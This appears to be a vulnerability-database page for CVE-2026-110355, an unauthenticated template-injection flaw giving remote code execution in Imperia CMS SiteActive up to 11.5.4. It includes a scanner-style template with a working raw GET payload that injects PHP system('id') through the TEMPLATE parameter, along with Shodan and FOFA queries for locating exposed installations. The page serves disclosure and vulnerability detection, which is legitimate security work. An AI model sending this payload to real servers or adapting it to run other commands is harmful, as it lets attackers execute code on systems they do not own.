CVE-2026-110355: Imperia CMS SiteActive <=11.5.4 - Unauthenticated SSTI Remote Code Execution

2026-11-14 PoC Public

Description

Imperia CMS versions 11.5.4 and below are vulnerable to unauthenticated server-side template injection via the TEMPLATE parameter in /cgi-bin/site_active.pl. An attacker escapes the generated include directive, injects PHP code, and triggers the PHPExec postconverter to execute arbitrary system commands. Requires CGI-enabled installations with SiteActive HTTP access and PHP available.

Details

CVE
CVE-2026-110355 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-110355

info:
  name: Imperia CMS SiteActive <=11.5.4 - Unauthenticated SSTI Remote Code Execution
  author: rcesecurity,DhiyaneshDk
  severity: critical
  description: |
    Imperia CMS versions 11.5.4 and below are vulnerable to unauthenticated server-side template injection via the TEMPLATE parameter in /cgi-bin/site_active.pl. An attacker escapes the generated include directive, injects PHP code, and triggers the PHPExec postconverter to execute arbitrary system commands. Requires CGI-enabled installations with SiteActive HTTP access and PHP available.
  impact: |
    An unauthenticated attacker can execute arbitrary system commands on the web server as the web process account.
  remediation: |
    Upgrade to Imperia CMS 11.8.0 or later.
  reference:
    - https://www.rcesecurity.com/2026/10/imperia-cms-siteactive-template-unauthenticated-ssti-rce-cve-2026-110355/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-110355
    cwe-id: CWE-94
  metadata:
    verified: false
    max-request: 1
    vendor: imperia
    product: imperia-cms
    shodan-query: 'http.html:"imperia"'
    fofa-query: 'body="imperia"'
  tags: cve,cve2026,imperia,ssti,rce,unauth

http:
  - raw:
      - |
        GET /cgi-bin/site_active.pl?TEMPLATE={SITE_ACTIVE}X')%25}<%3fphp+system('id')%3b%3f><!--postconvert%3aPHPExec()-->{%25%23%23y(' HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'uid=[0-9]+\([a-zA-Z0-9_.-]+\) gid=[0-9]+\('

      - type: status
        status:
          - 200
# digest: 490a004630440220462d5149630049a96a6b6fc0b856e104544e29045910b7a09b265ce463ae452902203199a7ce69c20f1c94c5b7f1e525c616a68066e013c6a8581662fd2f7c507d03:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life